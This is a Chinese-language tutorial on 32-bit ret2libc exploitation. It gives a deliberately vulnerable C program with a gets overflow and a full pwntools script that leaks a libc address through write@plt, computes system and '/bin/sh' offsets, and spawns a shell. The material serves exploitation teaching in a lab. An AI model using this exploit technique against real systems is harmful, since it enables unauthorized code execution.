04_ROP-Ret2Libc-32实例
首先我们先复习一下32位系统调用
想办法调用execve("/bin/sh", null, null),然后先办法传入/bin///sh,系统调用execve
eax = 11, ebx = bin_sh_addr, ecx = 0, edx = 0 int 0x80
#include <stdio.h>
char buf2[10] = "ret2libc is good";
void vul()
{
char buf[10];
gets (buf);
}
void main()
{
write(1, "hello", 5);
vul();
}
//gcc -no-pie -fno-stack-protector -m32 -o ret2libc1_32 ret2libc1_32.c
里面没有system
ROPgadget去查看也没有/bin/sh,如果没有NX保护,我们还可以构造shellcode, 这时候只能自己构造泄露libc了,ret2libc
明确目标,system属于libc。libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
思路
1、泄露ret2libc_32任意一个函数的位置
2、获取libc的版本
3、根据偏移获取shell和sh的位置
4、执行程序获取shell
5、ldd 列出动态库依赖关系
ldd能看到动态库的依赖关系
我们首先计算偏移
偏移是22
我们先完成一个exp框架
from pwn import *
context(arch = "i386", os = "linux")
p = process("./ret2libc1_32")
e = ELF("./ret2libc1_32")
write_plt_addr = e.plt["write"]
gets_got_addr = e.got["gets"]
vul_addr = e.symbols["vul"]
#print hex(gets_got_addr)
offset = 22
payload1 = b'a' * offset + p32(write_plt_addr) + p32(vul_addr) + p32(1) + p32(gets_got_addr) + p32(4)
p.sendlineafter("hello", payload1)
gets_addr = u32(p.recv(4))
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc_base = gets_addr - libc.symbols["gets"]
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))
payload2 = offset * b'a' + p32(system_addr) + p32(0x00000000) + p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()
License:
CC BY 4.0